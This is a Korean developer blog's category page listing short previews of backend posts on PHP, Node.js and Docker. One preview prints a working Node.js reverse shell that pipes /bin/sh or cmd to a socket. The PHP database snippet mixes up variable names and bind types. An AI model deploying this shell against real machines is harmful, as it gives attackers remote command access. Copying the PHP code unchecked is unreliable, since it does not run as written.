본문 바로가기
  • Tried. Failed. Logged.
728x90

⚙️백엔드47

PHP - 세션(Session) 사용 출처: https://teserre.tistory.com/8 [PHP] php 세션(Session) 사용하기 목차 세션 시작 세션 변수 사용 세션 변수 해제 세션 변수 등록 확인 세션 id 변경 세션 종료 추가 1. 세션 유지시간 추가 2. 추가 보안설정 세션(Session)은 모든 정보가 사용자 측의 컴퓨터에 저장 teserre.tistory.com 2022. 6. 1.
PHP - MySQL 접속 [prepared statement 방식] $dbserver = "localhost"; $dbuser = "username"; $dbpasswd = "userpasswd"; $dbname = "mydb"; $mysqli = new mysqli($dbserver, $dbuser, $dbpasswd, $dbname); if (mysqli_connect_errno()) { die("Connection failed: " . $conn->connect_error); } $sql = "select * from board where idx = ?"; $stmt = $__mysqli->stmt_init(); $stmt = $__mysqli->prepare($sql); $stmt->bind_param("ss", $use.. 2022. 6. 1.
node.js - 모듈 파일 불러오기(exports) 다음과 같이 모듈 파일을 만들고 export 할 변수, 함수, 클래스들은 위와 같이 exports.{이름} = {변수|함수|클래스}로 지정해준다. require 함수를 통해서 외부의 js 파일을 불러와서 myModule이라는 변수에 대입을 해준다. 실행 결과를 확인하면 myModule 안에는 message라는 변수와 say 함수가 들어있는 것을 확인 가능 이제 각각의 변수와 함수를 사용하기 위해서는 myModule.message myModule.say() 요런식으로 점 뒤에 키워드를 적는다. 실행 결과 요약: [수출하기] var a = 123; exports.a = a; [수입하기] const myModule = require('module.js'); const a = myModule.a; 참고: htt.. 2022. 2. 8.
node.js - 최신 버전으로 업데이트 하기 리눅스에서 "apt install npm"으로 node를 설치한 후 "node -v"로 버전을 확인하면 구버전인 것을 볼 수가 있다. 이를 최신 버전으로 업데이트 하고 싶을 경우 npm으로 n을 글로벌로 다운 받아준 다음 npm install -g n n lts(latest) 버전 node로 업데이트 시키기 n lts 2022. 1. 13.
도커 - 파일 전송하기 호스트 -> 도커 docker cp file.txt {컨테이너 이름}:/root/file.txt 도커 -> 호스트 docker cp {컨테이너 이름}:/root/file.txt file.txt 출처: https://shy-blg.tistory.com/entry/Docker%EB%8F%84%EC%BB%A4-%EC%BB%A8%ED%85%8C%EC%9D%B4%EB%84%88%EC%97%90-%ED%8C%8C%EC%9D%BC-%EC%A0%84%EC%86%A1%ED%95%98%EB%8A%94-%EB%B0%A9%EB%B2%95 Docker(도커) 호스트(로컬)에서 컨테이너로, 컨테이너에서 로컬로 파일 전송하는 방법 도커에서 컨테이너로 파일을 전송하려고 한다면 docker cp 를 이용하자. 예를들어 리눅스 컨테이너.. 2022. 1. 13.
도커 - 포트포워딩을 통해 외부에서 접속하기 도커 네트워크 특성 때문에 이미 컨테이너화 된 컨테이너를 포트 포워딩을 시킬 수가 없다고 하다네요. 아무튼 이미 만들어진 컨테이너에 외부 접속을 가능하게 하려면, 컨테이너를 다시 이미지화시킨 다음에 최초로 run을 시킬 때에 포트 값을 주어야 합니다. 도커 commit 관련 포스팅: https://janger.tistory.com/178 도커 - 컨테이너를 이미지화 시키기(commit) 1. 실행중인 컨테이너 종료 docker stop {컨테이너 이름} 2. 이미지화할 컨테이너를 commit하기 docker commit {컨테이너 이름} {출력할 이름} 3. 이미지들 확인 docker images 4. 컨테이너 start docker start {.. janger.tistory.com 우선 실행 중인 컨.. 2022. 1. 13.
도커 - 컨테이너를 이미지화 시키기(commit) 1. 실행중인 컨테이너 종료 docker stop {컨테이너 이름} 2. 이미지화할 컨테이너를 commit하기 docker commit {컨테이너 이름} {출력할 이름} 3. 이미지들 확인 docker images 4. 컨테이너 start docker start {출력한 이미지 이름} 4. 컨테이너 고유 이름 확인하기 docker ps 6. 컨테이너 접속 docker exec -it {컨테이너 이름} /bin/bash 2022. 1. 13.
도커 - 컨테이너 종료하지 않고 cmd 나가기 CTRL + P CTRL + Q 를 순서대로 입력하면 됩니다. 2022. 1. 13.
Node.js - 리버스쉘 [Linux] (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(5050, "127.0.0.1", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })(); [Windows] (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("C:\\Windows\\system32\\cm.. 2021. 12. 4.
도커 - 기본적인 명령어 모음 pull 도커 이미지 다운로드 docker pull ubuntu:14.04 이미지는 공식 도커 허브에서도 구할 수 있, 대부분이 이미지 이름:이미지 버전 이런 식으로 ​ 설치된 이미지들 확인 docker images ​ run 도커 컨테이너 생성 및 생성과 동시에 쉘 접속 docker run "ubuntu:14.04" docker run -i -t ubuntu:14.04 /bin/bash -i : interactive 사용자 입출력 상태로 전환 -d : 데몬 서비스로 실행 ​ ​ start 컨테이너 시작 / stop 컨테이너 종료 docker start 110dc7e4c8aa or blissful_lichterman docker stop 110dc7e4c8aa or blissful_lichterman 고.. 2021. 11. 30.
Node.js - 윈도우 창을 숨겨주는 라이브러리 https://www.npmjs.com/package/node-hide-console-window node-hide-console-window A node module to toggle your app's console window visibility. www.npmjs.com [설치] npm install node-hide-console-window [사용 방법] import {showConsole, hideConsole} from "node-hide-console-window"; // 콘솔창을 숨기고 싶다면 아래의 함수를 사용. hideConsole(); // 반면에 다시 보이게 하고 싶다면 아래의 함수를 사용. showConsole(); 정확히는 콘솔창을 안보이게 도와주는 라이브러리입니다. 2021. 11. 16.
728x90